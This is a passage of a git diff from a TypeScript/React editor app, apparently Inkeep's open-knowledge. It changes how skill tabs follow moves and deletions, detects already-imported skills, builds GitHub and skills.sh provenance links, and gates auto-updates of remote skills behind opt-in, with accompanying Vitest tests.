+ [{ scope: 'project', name: 'demo', path: '.agents/skills/demo/SKILL.md' }],
);
expect(actions).toEqual([]);
});
- test('retargets an orphaned project tab to the OTHER scope when the skill moved there', () => {
+ test('retargets an orphaned project SKILL tab to the OTHER scope when the skill moved there', () => {
// demo was moved project → global; its project content doc no longer exists,
// but it now exists at global scope.
const actions = computeSkillTabReconcile(
['.ok/skills/demo/SKILL'],
- [{ scope: 'global', name: 'demo' }],
+ [{ scope: 'global', name: 'demo', path: '~/.claude/skills/demo/SKILL.md' }],
);
expect(actions).toEqual([
{
@@ -57,28 +108,47 @@ describe('computeSkillTabReconcile', () => {
]);
});
- test('retargets an orphaned global tab to project when the skill moved there', () => {
+ test('retargets an orphaned global SKILL tab to the project entry REAL doc', () => {
+ // The entry's real path drives the retarget — minting a shape here opened
+ // phantom `.ok/skills` tabs for in-place skills (store-fossil class).
const actions = computeSkillTabReconcile(
[skillLiveDocName('global', 'demo')],
- [{ scope: 'project', name: 'demo' }],
+ [{ scope: 'project', name: 'demo', path: '.agents/skills/demo/SKILL.md' }],
);
expect(actions).toEqual([
{
kind: 'retarget',
fromDocName: skillLiveDocName('global', 'demo'),
- toDocName: skillLiveDocName('project', 'demo'),
+ toDocName: '.agents/skills/demo/SKILL',
},
]);
});
- test('closes an orphaned tab when the skill is gone from both scopes', () => {
+ test('closes an orphaned SKILL tab when the skill is gone from both scopes', () => {
const actions = computeSkillTabReconcile(
['.ok/skills/gone/SKILL'],
- [{ scope: 'project', name: 'other' }],
+ [{ scope: 'project', name: 'other', path: '.agents/skills/other/SKILL.md' }],
);
expect(actions).toEqual([{ kind: 'close', docName: '.ok/skills/gone/SKILL' }]);
});
+ test('closes a reference FILE tab when its skill is deleted (§2.4)', () => {
+ // Editing `references/notes` when the skill is deleted — the file doc is gone,
+ // so its tab must close rather than linger on a dead doc.
+ const actions = computeSkillTabReconcile(['.ok/skills/demo/references/notes'], []);
+ expect(actions).toEqual([{ kind: 'close', docName: '.ok/skills/demo/references/notes' }]);
+ });
+
+ test('closes a reference FILE tab when its skill moved scope (SKILL tab follows the move)', () => {
+ // A file tab is not retargeted (its new-scope doc name is not reconstructed);
+ // the SKILL tab retargets to the new scope, so the skill stays open.
+ const actions = computeSkillTabReconcile(
+ ['.ok/skills/demo/references/notes'],
+ [{ scope: 'global', name: 'demo', path: '~/.claude/skills/demo/SKILL.md' }],
+ );
+ expect(actions).toEqual([{ kind: 'close', docName: '.ok/skills/demo/references/notes' }]);
+ });
+
test('ignores non-skill tabs entirely', () => {
const actions = computeSkillTabReconcile(['notes/standup', '__template__/notes/daily'], []);
expect(actions).toEqual([]);
diff --git a/packages/app/src/hooks/use-reconcile-skill-tabs.ts b/packages/app/src/hooks/use-reconcile-skill-tabs.ts
index f155e337e..15f2c369a 100644
--- a/packages/app/src/hooks/use-reconcile-skill-tabs.ts
+++ b/packages/app/src/hooks/use-reconcile-skill-tabs.ts
@@ -1,59 +1,89 @@
import {
type ManagedArtifactScope,
- parseManagedArtifactName,
+ parseGlobalSkillBundleDoc,
+ parseProjectSkillBundleDoc,
type SkillsListEntry,
- skillLiveDocName,
} from '@inkeep/open-knowledge-core';
import { useEffect, useRef } from 'react';
+import { useManagedArtifactRetarget } from '@/components/ManagedArtifactProperties';
import { useDocumentContext } from '@/editor/DocumentContext';
-import { parseProjectSkillContentDocName } from '@/lib/managed-artifact-doc-name';
-import { openManagedArtifactTab } from '@/lib/open-managed-artifact-tab';
+import { parseEditorTabId } from '@/editor/editor-tabs';
+import { skillEntryLiveDocName } from '@/lib/managed-artifact-doc-name';
import { useSkills } from './use-skills';
-/** A skill tab's identity parsed from its live doc name (project content doc or
- * global managed-artifact doc), or null when the doc name isn't a skill. */
+/**
+ * A skill tab's identity parsed from its live doc name. Covers BOTH the
+ * SKILL-level doc (`rel: null`) AND a bundle-FILE doc (`references/<rel>`) — a
+ * project content doc or a global managed-artifact doc. Returns null when the
+ * doc name isn't a skill or skill-file. Recognizing file tabs is what lets a
+ * reference-editing tab close when its skill is deleted.
+ */
export function parseSkillTabDocName(
docName: string,
-): { scope: ManagedArtifactScope; name: string } | null {
- const projectName = parseProjectSkillContentDocName(docName);
- if (projectName) return { scope: 'project', name: projectName };
- const parsed = parseManagedArtifactName(docName);
- if (parsed?.kind === 'skill') return { scope: parsed.scope, name: parsed.name };
+): { scope: ManagedArtifactScope; name: string; rel: string | null } | null {
+ const project = parseProjectSkillBundleDoc(docName);
+ if (project) return { scope: 'project', name: project.name, rel: project.rel };
+ const global = parseGlobalSkillBundleDoc(docName);
+ if (global) return { scope: 'global', name: global.name, rel: global.rel };
return null;
}
+/** Return every open tab backed by one skill, including bundle-file viewers. */
+export function tabIdsForSkill(
+ openTabIds: ReadonlyArray<string>,
+ scope: ManagedArtifactScope,
+ name: string,
+): string[] {
+ return openTabIds.filter((tabId) => {
+ const tab = parseEditorTabId(tabId);
+ if (tab.kind === 'skill-file') return tab.scope === scope && tab.name === name;
+ if (tab.kind !== 'doc') return false;
+ const skillTab = parseSkillTabDocName(tab.docName);
+ return skillTab?.scope === scope && skillTab.name === name;
+ });
+}
+
export type SkillTabReconcileAction =
| { kind: 'retarget'; fromDocName: string; toDocName: string }
| { kind: 'close'; docName: string };
/**
* Pure reconcile: given the open editor tab doc names and the current skills
- * list, decide what to do with each open SKILL tab whose live doc no longer
- * corresponds to a skill at that tab's scope. A UI-driven move retargets the
- * tab itself; an agent/MCP/server-side move only broadcasts the `files` signal,
- * so an open skill tab is left pointing at a doc that no longer exists. For each
- * orphaned tab:
- * - the same-named skill now exists at the OTHER scope (it was moved) →
- * retarget the tab to its new live doc;
- * - the skill is gone entirely → close the tab.
+ * list, decide what to do with each open SKILL or skill-FILE tab whose live doc
+ * no longer corresponds to a skill at that tab's scope. A UI-driven move
+ * retargets the SKILL tab; an agent/MCP/server-side move (or a delete) only
+ * broadcasts the `files` signal, so an open tab is left pointing at a doc that
+ * no longer exists. For each orphaned tab:
+ * - a SKILL-level tab whose skill moved to the OTHER scope → retarget to its
+ * new live doc (follows the move);
+ * - the skill is gone entirely (deleted) → close the tab, INCLUDING a
+ * reference-FILE tab — the lingering tab a delete used to leave;
+ * - a bundle-FILE tab whose skill moved scope → close it (its SKILL tab
+ * retargets to the new scope, so the skill stays open).
* A tab whose skill still exists at its own scope is untouched.
*/
export function computeSkillTabReconcile(
openTabDocNames: ReadonlyArray<string>,
- skills: ReadonlyArray<Pick<SkillsListEntry, 'name' | 'scope'>>,
+ skills: ReadonlyArray<Pick<SkillsListEntry, 'name' | 'scope' | 'path'>>,
): SkillTabReconcileAction[] {
- const present = new Set(skills.map((s) => `${s.scope}\u0000${s.name}`));
+ const present = new Map(skills.map((s) => [`${s.scope}\u0000${s.name}`, s]));
const actions: SkillTabReconcileAction[] = [];
for (const docName of openTabDocNames) {
const tab = parseSkillTabDocName(docName);
if (!tab) continue;
if (present.has(`${tab.scope}\u0000${tab.name}`)) continue; // still here — leave it
const otherScope: ManagedArtifactScope = tab.scope === 'project' ? 'global' : 'project';
- if (present.has(`${otherScope}\u0000${tab.name}`)) {
+ const moved = present.get(`${otherScope}\u0000${tab.name}`);
+ // Only the SKILL-level tab follows a scope move; a bundle-FILE tab can't be
+ // retargeted safely (its new-scope doc name would need reconstruction), and
+ // the SKILL tab already carries the user to the new scope, so it just closes.
+ // Retarget to the entry's REAL doc — minting a shape here produced phantom
+ // `.ok/skills` tabs for in-place skills (the store-fossil class).
+ if (tab.rel === null && moved !== undefined) {
actions.push({
kind: 'retarget',
fromDocName: docName,
- toDocName: skillLiveDocName(otherScope, tab.name),
+ toDocName: skillEntryLiveDocName(moved),
});
} else {
actions.push({ kind: 'close', docName });
@@ -71,6 +101,7 @@ export function computeSkillTabReconcile(
*/
export function useReconcileSkillTabs(): void {
const { openTabs, closeDocument } = useDocumentContext();
+ const retarget = useManagedArtifactRetarget();
// Nothing to reconcile until a skill tab is actually open — gate the
// `/api/skills` fetch on that, so a session with no skill tab open issues no
// request and App-wiring stays side-effect-free, rather than fetching the
@@ -94,14 +125,13 @@ export function useReconcileSkillTabs(): void {
const actions = computeSkillTabReconcile(openTabs, skills);
for (const action of actions) {
if (action.kind === 'retarget') {
- // Open the relocated doc (activates it via the hash) BEFORE closing the
- // stale tab so there's no flash of empty editor — mirrors
- // useManagedArtifactRetarget's hash-based nav.
- openManagedArtifactTab(action.toDocName);
- closeDocument(action.fromDocName);
+ // Reuse the SHARED retarget so the safety net can't drift from the UI path:
+ // it pins the sidebar to Skills, opens the relocated doc directly (never the
+ // page-index-dependent hash path), and closes the source resurrection-safe.
+ retarget(action.fromDocName, action.toDocName);
} else {
closeDocument(action.docName);
}
}
- }, [skillsState, openTabs, closeDocument]);
+ }, [skillsState, openTabs, retarget, closeDocument]);
}
diff --git a/packages/app/src/hooks/use-skill-directory.test.ts b/packages/app/src/hooks/use-skill-directory.test.ts
new file mode 100644
index 000000000..454d7b87b
--- /dev/null
+++ b/packages/app/src/hooks/use-skill-directory.test.ts
@@ -0,0 +1,71 @@
+import type { SkillSearchResult, SkillsListEntry } from '@inkeep/open-knowledge-core';
+import { describe, expect, test } from 'vitest';
+import { findImportedSkill } from './use-skill-directory';
+
+/** A skills.sh discovery result — only `name` and `source` participate in matching. */
+function result(over: Partial<SkillSearchResult> = {}): SkillSearchResult {
+ return {
+ id: 'r1',
+ name: 'find-skills',
+ description: null,
+ source: 'vercel-labs/skills',
+ publisher: 'vercel-labs',
+ installs: 100,
+ ...over,
+ } as SkillSearchResult;
+}
+
+/** An on-disk project skill. `origin.source` is where it was imported from. */
+function entry(name: string, source: string | null, scope = 'project'): SkillsListEntry {
+ return {
+ name,
+ scope,
+ origin: source === null ? null : { source },
+ } as unknown as SkillsListEntry;
+}
+
+describe('findImportedSkill', () => {
+ test('matches the exact frontmatter name', () => {
+ const hit = entry('find-skills', 'vercel-labs/skills');
+ expect(findImportedSkill([hit], result())).toBe(hit);
+ });
+
+ // The server appends `-imported` when the frontmatter name is already taken.
+ test('matches the -imported collision rename', () => {
+ const hit = entry('find-skills-imported', 'vercel-labs/skills');
+ expect(findImportedSkill([hit], result())).toBe(hit);
+ });
+
+ // And `-imported-2`, `-imported-3`, … for repeat collisions.
+ test('matches a numbered -imported-N collision rename', () => {
+ const hit = entry('find-skills-imported-2', 'vercel-labs/skills');
+ expect(findImportedSkill([hit], result())).toBe(hit);
+ });
+
+ // The same-source requirement is what keeps siblings of a multi-skill repo
+ // independently importable — without it, one landed sibling would mark them all.
+ test('does not match the same name from a different source', () => {
+ const other = entry('find-skills', 'someone-else/skills');
+ expect(findImportedSkill([other], result())).toBeNull();
+ });
+
+ // Guards the inverse: matching on source alone would return this entry.
+ test('does not match a different skill from the same source', () => {
+ const sibling = entry('agent-browser', 'vercel-labs/skills');
+ expect(findImportedSkill([sibling], result())).toBeNull();
+ });
+
+ test('ignores an entry with no origin', () => {
+ expect(findImportedSkill([entry('find-skills', null)], result())).toBeNull();
+ });
+
+ // A name that merely starts with the result name is not a collision rename.
+ test('does not match an unrelated name sharing the prefix', () => {
+ const decoy = entry('find-skills-extra', 'vercel-labs/skills');
+ expect(findImportedSkill([decoy], result())).toBeNull();
+ });
+
+ test('returns null against an empty list', () => {
+ expect(findImportedSkill([], result())).toBeNull();
+ });
+});
diff --git a/packages/app/src/hooks/use-skill-directory.ts b/packages/app/src/hooks/use-skill-directory.ts
new file mode 100644
index 000000000..c52d8b288
--- /dev/null
+++ b/packages/app/src/hooks/use-skill-directory.ts
@@ -0,0 +1,87 @@
+import type { SkillScope, SkillSearchResult, SkillsListEntry } from '@inkeep/open-knowledge-core';
+import { useOpenSkill } from '@/hooks/use-open-skill';
+import { useSkills } from '@/hooks/use-skills';
+import { openSkillPreviewTab } from '@/lib/open-managed-artifact-tab';
+
+/**
+ * Whether a skills.sh result is already in the project, and which entry it is.
+ *
+ * An ephemeral per-session "imported" set would miss a skill brought in earlier,
+ * which would then offer Import again. An import lands on disk under its
+ * frontmatter name, or `<name>-imported[-N]` when that name is taken (the
+ * server's `firstFreeSkillName`), so a result counts as imported when some
+ * project skill FROM THE SAME SOURCE carries one of those three name shapes.
+ *
+ * Both halves are load-bearing. Dropping a name shape makes a collision-renamed
+ * import look un-imported; matching on `origin.source` alone would mark every
+ * sibling of a multi-skill repo as imported the moment one of them landed, since
+ * siblings share a source.
+ *
+ * Pure and exported for its own test — `entries` is expected to be pre-filtered
+ * to skills that have an `origin`, but an entry without one can never match.
+ */
+export function findImportedSkill(
+ entries: readonly SkillsListEntry[],
+ result: SkillSearchResult,
+): SkillsListEntry | null {
+ return (
+ entries.find(
+ (s) =>
+ s.origin?.source === result.source &&
+ (s.name === result.name ||
+ s.name === `${result.name}-imported` ||
+ s.name.startsWith(`${result.name}-imported-`)),
+ ) ?? null
+ );
+}
+
+/**
+ * Shared behavior for every surface that lists skills.sh discovery results (the
+ * Explore modal, the Skills home's popular grid): resolving whether a result is
+ * already in the project, and what a click on it does. Extracted so both
+ * surfaces stay in lockstep — a card that says "Added" in one place must say it
+ * in the other, and both must land on the same destination.
+ *
+ * `scope` is the preview's scope coordinate, so the preview's Import targets
+ * Project/Global correctly. `onNavigate` lets a modal close itself before the
+ * navigation lands.
+ */
+export function useSkillDirectory({
+ scope,
+ onNavigate,
+}: {
+ scope?: SkillScope;
+ onNavigate?: () => void;
+} = {}) {
+ const openSkill = useOpenSkill();
+ const skills = useSkills();
+
+ const importedSkills = skills.status === 'ready' ? skills.data.filter((s) => s.origin) : [];
+
+ /** The already-imported project skill for a result, else null. The returned
+ * entry's own `.scope` and `.name` are what `openResult` navigates to. */
+ const importedEntry = (r: SkillSearchResult): SkillsListEntry | null =>
+ findImportedSkill(importedSkills, r);
+
+ // Open a result's card (the single per-card action). An already-imported skill
+ // opens its real doc in the scope it landed in (resolving the on-disk name so a
+ // collision-rename still lands right); an un-imported one gets the full-page
+ // read-only preview, where Import lives.
+ function openResult(r: SkillSearchResult): void {
+ onNavigate?.();
+ const existing = importedEntry(r);
+ if (existing) {
+ openSkill(existing.scope, existing.name);
+ return;
+ }
+ openSkillPreviewTab({
+ flavor: 'explore',
+ source: r.source,
+ name: r.name,
+ subtitle: r.source,
+ level: scope,
+ });
+ }
+
+ return { importedEntry, openResult };
+}
diff --git a/packages/app/src/hooks/use-skill-origin.test.ts b/packages/app/src/hooks/use-skill-origin.test.ts
new file mode 100644
index 000000000..6034c3bd0
--- /dev/null
+++ b/packages/app/src/hooks/use-skill-origin.test.ts
@@ -0,0 +1,80 @@
+import { describe, expect, test } from 'vitest';
+import { githubUrl, skillAutoUpdateEnabled, skillOriginUrl } from './use-skill-origin';
+
+// `githubUrl` decides whether a skill's import source renders as a clickable
+// GitHub link or plain text in the toolbar provenance line — the 5 branches
+// below are the whole contract.
+describe('githubUrl', () => {
+ test('owner/repo shorthand resolves to the repo page', () => {
+ expect(githubUrl('inkeep/agents')).toBe('https://github.com/inkeep/agents');
+ });
+
+ test('a subpath after owner/repo is dropped (links to the repo root)', () => {
+ expect(githubUrl('inkeep/agents/packages/app')).toBe('https://github.com/inkeep/agents');
+ });
+
+ test('a trailing .git is stripped from shorthand', () => {
+ expect(githubUrl('inkeep/agents.git')).toBe('https://github.com/inkeep/agents');
+ });
+
+ test('a github.com URL passes through, minus any .git suffix', () => {
+ expect(githubUrl('https://github.com/inkeep/agents')).toBe('https://github.com/inkeep/agents');
+ expect(githubUrl('https://github.com/inkeep/agents.git')).toBe(
+ 'https://github.com/inkeep/agents',
+ );
+ });
+
+ test('a non-GitHub https URL is not linked', () => {
+ expect(githubUrl('https://gitlab.com/inkeep/agents')).toBeNull();
+ });
+
+ test('local / non-remote sources are not linked', () => {
+ expect(githubUrl('./local/skill')).toBeNull();
+ expect(githubUrl('/abs/path/skill')).toBeNull();
+ expect(githubUrl('~/home/skill')).toBeNull();
+ expect(githubUrl('file:///tmp/skill')).toBeNull();
+ expect(githubUrl('[email protected]:inkeep/agents.git')).toBeNull();
+ });
+});
+
+describe('skillOriginUrl', () => {
+ test('links an edited plugin copy to its marketplace repository', () => {
+ expect(
+ skillOriginUrl(
+ {
+ source: '/Users/test/.claude/plugins/cache/acme/ponytail-audit/1.0.0',
+ marketplaceUrl: 'https://github.com/acme/ponytail-plugin',
+ importedAt: '2026-07-24T12:00:00.000Z',
+ },
+ 'ponytail-audit',
+ ),
+ ).toBe('https://github.com/acme/ponytail-plugin');
+ });
+});
+
+describe('skillAutoUpdateEnabled', () => {
+ const origin = (source: string, autoUpdate?: boolean) => ({
+ source,
+ importedAt: '2026-07-29T12:00:00.000Z',
+ ...(autoUpdate !== undefined ? { autoUpdate } : {}),
+ });
+
+ test('requires explicit opt-in for remote sources', () => {
+ expect(skillAutoUpdateEnabled(origin('inkeep/open-knowledge-skills'))).toBe(false);
+ expect(skillAutoUpdateEnabled(origin('https://github.com/inkeep/open-knowledge-skills'))).toBe(
+ false,
+ );
+ expect(skillAutoUpdateEnabled(origin('[email protected]:inkeep/open-knowledge-skills.git'))).toBe(
+ false,
+ );
+ expect(skillAutoUpdateEnabled(origin('inkeep/open-knowledge-skills', true))).toBe(true);
+ });
+
+ test('keeps local sources on by default and honors an explicit opt-out', () => {
+ expect(skillAutoUpdateEnabled(origin('/Users/test/skills/local'))).toBe(true);
+ expect(skillAutoUpdateEnabled(origin('./skills/local'))).toBe(true);
+ expect(skillAutoUpdateEnabled(origin('file:///tmp/local'))).toBe(true);
+ expect(skillAutoUpdateEnabled(origin('C:\\skills\\local'))).toBe(true);
+ expect(skillAutoUpdateEnabled(origin('/Users/test/skills/local', false))).toBe(false);
+ });
+});
diff --git a/packages/app/src/hooks/use-skill-origin.ts b/packages/app/src/hooks/use-skill-origin.ts
new file mode 100644
index 000000000..a1c464a96
--- /dev/null
+++ b/packages/app/src/hooks/use-skill-origin.ts
@@ -0,0 +1,229 @@
+import type { SkillOrigin, SkillScope } from '@inkeep/open-knowledge-core';
+import { useLingui } from '@lingui/react/macro';
+import { useEffect, useState } from 'react';
+import { toast } from 'sonner';
+import { useSkillUpdateAvailable } from '@/hooks/use-skill-update-available';
+import { useSkills } from '@/hooks/use-skills';
+import { reimportSkill, revertSkill } from '@/lib/skills-api';
+
+/**
+ * Best-effort GitHub link for an import source. `owner/repo[/subpath]` shorthand
+ * and github.com URLs resolve to the repo page; local paths / non-GitHub git
+ * URLs return null (the source string is still shown, just not linked).
+ */
+/** skills.sh page URL when the import recorded a publisher; the slug falls
+ * back to the local name (they match unless the source folder was renamed). */
+function skillsShUrl(origin: SkillOrigin, localName: string): string | null {
+ if (!origin.publisher) return null;
+ const slug = origin.skill ?? localName;
+ return `https://www.skills.sh/${encodeURIComponent(origin.publisher)}/skills/${encodeURIComponent(slug)}`;
+}
+
+export function githubUrl(source: string): string | null {
+ const s = source.trim();
+ if (/^https?:\/\//i.test(s)) return s.includes('github.com') ? s.replace(/\.git$/, '') : null;
+ if (/^(?:\.|\/|~|file:|git@)/.test(s)) return null;
+ const m = /^([\w.-]+)\/([\w.-]+?)(?:\.git)?(?:\/.*)?$/.exec(s);
+ return m ? `https://github.com/${m[1]}/${m[2]}` : null;
+}
+
+export function skillOriginUrl(origin: SkillOrigin, localName: string): string | null {
+ return skillsShUrl(origin, localName) ?? origin.marketplaceUrl ?? githubUrl(origin.source);
+}
+
+/**
+ * Import provenance + "Update from source" re-pull for a skill tab, shared by the
+ * toolbar's provenance line (`SkillOriginInline`) and its narrow-width overflow
+ * menu (`SkillToolbarControls`) — the provenance line hides on a narrow pane, so
+ * the Update action has to survive in the overflow, and both surfaces need the
+ * same re-pull logic + eligibility check.
+ *
+ * `canReimport` is false for hand-authored skills (no origin) AND for skills
+ * adopted from an editor's own copy: those carry an `adopt:<harness>` source with
+ * no fetchable remote (the source is now a symlink to the `.ok/skills` copy), so
+ * a re-pull would only error — provenance reads as plain "From <harness>".
+ */
+// Session-scoped auto-update dedupe (see the effect in `useSkillOrigin`).
+const autoApplied = new Set<string>();
+
+/** Remote instructions require explicit continuing trust; local paths keep the
+ * existing stay-in-sync default because the source is already on this machine. */
+export function skillAutoUpdateEnabled(origin: SkillOrigin | null): boolean {
+ if (!origin) return false;
+ if (origin.autoUpdate !== undefined) return origin.autoUpdate;
+ const source = origin.source.trim();
+ return (
+ source.startsWith('/') ||
+ source.startsWith('.') ||
+ source.startsWith('~') ||
+ source.startsWith('file://') ||
+ /^[A-Za-z]:[\\/]/.test(source) ||
+ source.startsWith('\\\\')
+ );
+}
+
+export function useSkillOrigin({ scope, name }: { scope: SkillScope; name: string }): {
+ origin: SkillOrigin | null;
+ github: string | null;
+ displaySource: string | null;
+ importedTitle: string | null;
+ canReimport: boolean;
+ /** Upstream source has a newer version than what's installed — the Update button
+ * shows only when this is true (not a permanent check-for-updates control). */
+ updateAvailable: boolean;
+ /** Skill's on-disk content diverges from what was installed (see `modified` in
+ * the skills list). Drives the "Modified" indicator; only meaningful for an
+ * imported project skill whose lockfile carries a write-time baseline. */
+ modified: boolean;
+ /** Per-skill auto-update: local sources default on; remote sources require
+ * explicit opt-in. When on, an available upstream update applies on skill
+ * open unless the skill is locally modified or git-tracked. */
+ autoUpdate: boolean;
+ /** The bundle has tracked files in the project git — auto-update refuses;
+ * the toggle disables with this as its reason. */
+ gitTracked: boolean;
+ /** Persist the auto-update toggle to the lockfile. */
+ setAutoUpdate: (enabled: boolean) => Promise<void>;
+ /** A shadow-repo install baseline exists (git project) — Revert can restore it.
+ * False in a non-git project, where a modified skill has no bytes to revert to. */
+ revertable: boolean;
+ /** Apply the upstream update in place (overwrites local edits). */
+ reimport: () => Promise<void>;
+ reimporting: boolean;
+ /** Fetch upstream and return the two SKILL.md bodies for a confirm-diff,
+ * without writing. `null` on error (a toast is surfaced) or when already up to
+ * date. Used before `reimport()` when the skill is locally modified. */
+ previewUpdate: () => Promise<{ localBody: string; upstreamBody: string } | null>;
+ /** Discard local edits, restoring the installed baseline. */
+ revert: () => Promise<void>;
+ reverting: boolean;
+} {
+ const { t } = useLingui();
+ const skillsState = useSkills();
+ const entry =
+ skillsState.status === 'ready'
+ ? skillsState.data.find((s) => s.scope === scope && s.name === name)
+ : undefined;
+ const origin = entry?.origin ?? null;
+ // `adopt:<harness>` sources have no fetchable remote, so they're not reimportable.
+ const adoptMatch = origin ? /^adopt:(.+)$/.exec(origin.source) : null;
+ const harnessLabel = adoptMatch
+ ? adoptMatch[1].charAt(0).toUpperCase() + adoptMatch[1].slice(1)
+ : null;
+ const canReimport = !!origin && !harnessLabel;
+ // Only surface "Update" when upstream actually has a newer version — not a permanent check-for-updates button.
+ const {
+ available: updateAvailable,
+ gitTracked,
+ recheck: recheckUpdate,
+ } = useSkillUpdateAvailable(scope, name, canReimport);
+ const [reimporting, setReimporting] = useState(false);
+ const [reverting, setReverting] = useState(false);
+ const autoUpdate = skillAutoUpdateEnabled(origin);
+ const modified = entry?.modified ?? false;
+
+ async function reimport() {
+ setReimporting(true);
+ const result = await reimportSkill({ scope, name });
+ setReimporting(false);
+ if (!result.ok) {
+ toast.error(t`Update failed: ${result.error}`);
+ return;
+ }
+ if (result.updated) toast.success(t`Updated "${name}" from ${result.source}`);
+ else toast.success(t`"${name}" is already up to date`);
+ for (const w of result.warnings) toast.warning(w);
+ // Just applied the update → re-check so the Update button hides again.
+ recheckUpdate();
+ }
+
+ // Auto-update: with the toggle on and the skill clean, apply an available
+ // upstream update as soon as it's detected on skill open. Remote sources only
+ // reach this path after explicit opt-in. A locally
+ // MODIFIED skill never auto-applies (the Update button keeps its confirm-diff
+ // path). The once-per-session guard is MODULE-level: hidden Activity panes can
+ // mount a second toolbar for the same skill, and reimport() only flips
+ // updateAvailable off after an async recheck.
+ useEffect(() => {
+ // Git-tracked bundles update through the repo (pull / CI) — never the
+ // per-machine auto loop (two machines + autoSync = churn war).
+ if (!updateAvailable || !autoUpdate || modified || reimporting || gitTracked) return;
+ const key = `${scope}:${name}`;
+ if (autoApplied.has(key)) return;
+ autoApplied.add(key);
+ void reimport();
+ });
+
+ async function previewUpdate() {
+ const result = await reimportSkill({ scope, name, dryRun: true });
+ if (!result.ok) {
+ toast.error(t`Update failed: ${result.error}`);
+ return null;
+ }
+ if (!result.updated || result.upstreamBody === undefined) {
+ toast.success(t`"${name}" is already up to date`);
+ return null;
+ }
+ return { localBody: result.localBody ?? '', upstreamBody: result.upstreamBody };
+ }
+
+ async function revert() {
+ setReverting(true);
+ const result = await revertSkill({ name });
+ setReverting(false);
+ if (!result.ok) {
+ toast.error(t`Revert failed: ${result.error}`);
+ return;
+ }
+ toast.success(t`Reverted "${name}" to the installed version`);
+ for (const w of result.warnings) toast.warning(w);
+ }
+
+ // A copy made from a harness plugin ("Edit a copy"): the lockfile source is
+ // the raw plugin dir — say "the <plugin> plugin", not a machine path.
+ const pluginMatch = origin
+ ? (/\/plugins\/cache\/[^/]+\/([^/]+)\//.exec(origin.source) ??
+ /\/plugins\/marketplaces\/([^/]+)\//.exec(origin.source))
+ : null;
+ const displaySource = origin
+ ? harnessLabel
+ ? t`From ${harnessLabel}`
+ : pluginMatch
+ ? t`From the ${pluginMatch[1]} plugin`
+ : origin.source
+ : null;
+ const parsed = origin ? new Date(origin.importedAt) : null;
+ const importedLabel =
+ parsed && !Number.isNaN(parsed.getTime())
+ ? parsed.toLocaleDateString(undefined, { year: 'numeric', month: 'short', day: 'numeric' })
+ : (origin?.importedAt ?? null);
+
+ return {
+ origin,
+ // The provenance chip prefers the skills.sh page (the marketplace identity)
+ // and falls back to the GitHub repo for plain repo imports.
+ github: origin ? skillOriginUrl(origin, name) : null,
+ displaySource,
+ importedTitle: importedLabel ? t`Imported ${importedLabel}` : null,
+ canReimport,
+ /** Upstream has a newer version than what's installed — gate the Update button. */
+ updateAvailable,
+ modified,
+ autoUpdate,
+ gitTracked,
+ setAutoUpdate: async (enabled: boolean) => {
+ const result = await reimportSkill({ scope, name, setAutoUpdate: enabled });
+ if (!result.ok) {
+ toast.error(t`Couldn't save the auto-update setting: ${result.error}`);
+ return;
+ }
+ toast.success(enabled ? t`Auto-update on for "${name}"` : t`Auto-update off for "${name}"`);
+ },
+ revertable: entry?.revertable ?? false,
+ reimport,
+ reimporting,
+ previewUpdate,
+ revert,
+ reverting,
+ };
+}
diff --git a/packages/app/src/hooks/use-skill-scope-move.dom.test.tsx b/packages/app/src/hooks/use-skill-scope-move.dom.test.tsx
new file mode 100644
index 000000000..305dedb8f
--- /dev/null
+++ b/packages/app/src/hooks/use-skill-scope-move.dom.test.tsx
@@ -0,0 +1,79 @@
+/**
+ * Regression test for the confirm-before-move safety gate in useSkillScopeMove.
+ * Moving a skill's level relocates its files on disk and re-installs it at the
+ * new scope, so picking a level must STAGE a confirm dialog and only relocate on
+ * an explicit confirm — never on the pick itself. This coverage was lost when the
+ * flow was extracted out of SkillProperties into this hook; here we assert both
+ * halves: requestMove() does not touch disk, and confirming does.
+ */
+
+import { render, screen, waitFor } from '@testing-library/react';
+import userEvent from '@testing-library/user-event';
+import { describe, expect, test, vi } from 'vitest';
+import * as linguiShim from '../../tests/lingui-macro-shim';
+
+vi.doMock('@lingui/react/macro', () => linguiShim);
+
+const moveSkillScope = vi.fn(async () => ({ ok: true as const, skippedBinaryFiles: [] }));
+const retarget = vi.fn(() => {});
+
+vi.doMock('@/lib/skills-api', () => ({ moveSkillScope }));
+vi.doMock('@/components/ManagedArtifactProperties', () => ({
+ useManagedArtifactRetarget: () => retarget,
+}));
+vi.doMock('@/lib/documents-events', () => ({
+ beginOptimisticSkillMove: () => {},
+ endOptimisticSkillMove: () => {},
+ // Pulled in transitively by use-skills (the move hook now resolves the real
+ // FROM doc from the list).
+ applyOptimisticSkillMoves: (skills: unknown) => skills,
+ subscribeToSkillsChanged: () => () => {},
+}));
+vi.doMock('@/hooks/use-skills', () => ({
+ useSkills: () => ({ status: 'idle' }),
+}));
+vi.doMock('@/lib/skill-scope', () => ({
+ useSkillScopeLabels: () => ({ project: 'Project', global: 'Global', user: 'Personal' }),
+ SKILL_SCOPE_ORDER: ['project', 'global'],
+}));
+vi.doMock('@/lib/managed-artifact-doc-name', () => ({
+ skillLiveDocName: (scope: string, name: string) => `${scope}/${name}`,
+ skillEntryLiveDocName: (entry: { scope: string; name: string }) => `${entry.scope}/${entry.name}`,
+}));
+
+const { useSkillScopeMove } = await import('./use-skill-scope-move');
+
+function Harness() {
+ const move = useSkillScopeMove({ scope: 'project', name: 'foo', docName: 'project/foo' });
+ return (
+ <>
+ <button type="button" onClick={() => move.requestMove('global')}>
+ pick-global
+ </button>
+ {move.dialog}
+ </>
+ );
+}
+
+describe('useSkillScopeMove — confirm before move', () => {
+ test('picking a level stages a confirm dialog and does not relocate until confirmed', async () => {
+ const user = userEvent.setup();
+ render(<Harness />);
+
+ // Pick a new level — this must NOT move files yet.
+ await user.click(screen.getByText('pick-global'));
+ expect(moveSkillScope).not.toHaveBeenCalled();
+
+ // The confirm dialog is staged, offering the Move action.
+ const confirm = await screen.findByTestId('skill-scope-move-confirm');
+
+ // Confirming commits the relocation with the staged source/target scopes.
+ await user.click(confirm);
+ await waitFor(() => expect(moveSkillScope).toHaveBeenCalledTimes(1));
+ expect(moveSkillScope).toHaveBeenCalledWith({
+ name: 'foo',
+ fromScope: 'project',
+ toScope: 'global',
+ });
+ });
+});
diff --git a/packages/app/src/hooks/use-skill-scope-move.tsx b/packages/app/src/hooks/use-skill-scope-move.tsx
new file mode 100644
index 000000000..1cfced44e
--- /dev/null
+++ b/packages/app/src/hooks/use-skill-scope-move.tsx
@@ -0,0 +1,34 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { type ReactNode, useState } from 'react';
